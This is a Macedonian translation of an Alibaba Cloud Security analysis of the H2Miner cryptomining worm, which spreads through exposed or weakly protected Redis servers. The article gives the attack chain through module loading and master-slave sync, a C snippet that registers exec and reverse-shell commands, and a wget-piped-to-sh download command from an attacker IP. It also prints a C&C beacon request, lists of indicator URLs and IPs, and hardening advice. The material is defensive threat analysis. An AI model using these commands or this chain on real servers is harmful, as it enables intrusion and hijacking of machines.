Откриена е нова епидемија на црви H2Miner кои го експлоатираат Redis RCE

Пред еден ден, еден од серверите на мојот проект беше нападнат од сличен црв. Во потрага по одговор на прашањето „што беше тоа? Најдов одлична статија од тимот на Alibaba Cloud Security. Бидејќи не ја најдов оваа статија на Хабре, решив да ја преведам специјално за вас <3

Влегување

Неодамна, безбедносниот тим на Alibaba Cloud откри ненадејна епидемија на H2Miner. Овој тип на малициозен црв го користи недостатокот на овластување или слабите лозинки за Redis како порти до вашите системи, по што го синхронизира сопствениот злонамерен модул со slave преку синхронизација master-slave и на крајот го презема овој злонамерен модул на нападната машина и извршува злонамерни инструкции.

Во минатото, нападите на вашите системи првенствено се вршеа со користење на метод кој вклучуваше закажани задачи или клучеви SSH кои беа напишани на вашата машина откако напаѓачот се најави на Redis. За среќа, овој метод не може да се користи често поради проблеми со контролата на дозволите или поради различни верзии на системот. Сепак, овој метод на вчитување на малициозен модул може директно да ги изврши командите на напаѓачот или да добие пристап до школка, што е опасно за вашиот систем.

Поради големиот број Redis сервери хостирани на Интернет (скоро 1 милион), безбедносниот тим на Alibaba Cloud, како пријателски потсетник, препорачува корисниците да не споделуваат Redis онлајн и редовно да ја проверуваат јачината на нивните лозинки и дали тие се компромитирани. брз избор.

H2Miner

H2Miner е рударски ботнет за системи базирани на Linux што може да го нападне вашиот систем на различни начини, вклучително и недостаток на овластување во ранливостите на Hadoop yarn, Docker и Redis за далечинско извршување команди (RCE). Ботнетот работи со преземање малициозни скрипти и малициозен софтвер за да се минираат вашите податоци, да се прошири нападот хоризонтално и да се одржуваат комуникациите за команда и контрола (C&C).

Redis RCE

Знаењето за оваа тема беше споделено од Павел Топорков на ZeroNights 2018. По верзијата 4.0, Redis поддржува функција за вчитување на приклучокот што им дава можност на корисниците да вчитуваат така што датотеките компајлирани со C во Redis за извршување на одредени команди на Redis. Оваа функција, иако корисна, содржи ранливост во која, во режимот master-slave, датотеките може да се синхронизираат со slave преку режимот за целосна ресинхронизација. Ова може да го искористи напаѓачот за пренос на малициозни па датотеки. Откако ќе заврши трансферот, напаѓачите го вчитуваат модулот на нападнатата инстанца на Redis и извршуваат каква било команда.

Анализа на црви на малициозен софтвер

Неодамна, безбедносниот тим на Alibaba Cloud откри дека големината на злонамерната група рудари H2Miner наеднаш драстично се зголемила. Според анализата, општиот процес на појава на напад е како што следува:

H2Miner користи RCE Redis за целосен напад. Напаѓачите прво ги напаѓаат незаштитените Redis сервери или сервери со слаби лозинки.

Потоа ја користат командата config set dbfilename red2.so за да го смените името на датотеката. По ова, напаѓачите ја извршуваат командата slaveof за да ја поставите адресата на домаќинот за репликација на master-slave.

Кога нападнатата инстанца на Redis воспоставува врска master-slave со злонамерниот Redis што е во сопственост на напаѓачот, напаѓачот го испраќа инфицираниот модул користејќи ја командата fullresync за да ги синхронизира датотеките. Датотеката red2.so потоа ќе се преземе на нападнатата машина. Напаѓачите потоа го користат модулот за вчитување ./red2.so за да ја вчитаат оваа датотека so. Модулот може да извршува команди од напаѓач или да иницира обратна врска (задна врата) за да добие пристап до нападнатата машина.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

По извршувањето на злонамерна команда како на пр / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, напаѓачот ќе го ресетира името на резервната датотека и ќе го растовари системскиот модул за да ги исчисти трагите. Сепак, датотеката red2.so сè уште ќе остане на нападнатата машина. На корисниците им се препорачува да обрнат внимание на присуството на таква сомнителна датотека во папката на нивниот примерок Redis.

Покрај тоа што убил некои малициозни процеси за да украде ресурси, напаѓачот следел злонамерна скрипта со преземање и извршување на малициозни бинарни датотеки на 142.44.191.122 / сродство. Ова значи дека името на процесот или името на директориумот што содржи kinsing на домаќинот може да укаже дека таа машина е заразена од овој вирус.

Според резултатите од обратното инженерство, малициозниот софтвер главно ги извршува следните функции:

• Поставување датотеки и нивно извршување
• Рударство
• Одржување на C&C комуникација и извршување на команди на напаѓачот

Користете Mascan за надворешно скенирање за да го проширите вашето влијание. Дополнително, IP адресата на C&C серверот е хард-кодирана во програмата, а нападнатиот домаќин ќе комуницира со C&C комуникацискиот сервер користејќи HTTP барања, каде што информациите за зомби (компромитиран сервер) се идентификуваат во заглавието HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Други методи на напад

Адреси и врски што ги користи црвот

/ сродство

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Советот

Прво, Redis не треба да биде достапен од Интернет и треба да биде заштитен со силна лозинка. Исто така, важно е клиентите да проверат дека нема датотека red2.so во директориумот Redis и дека нема „kinsing“ во името на датотеката/процесот на домаќинот.

Извор: www.habr.com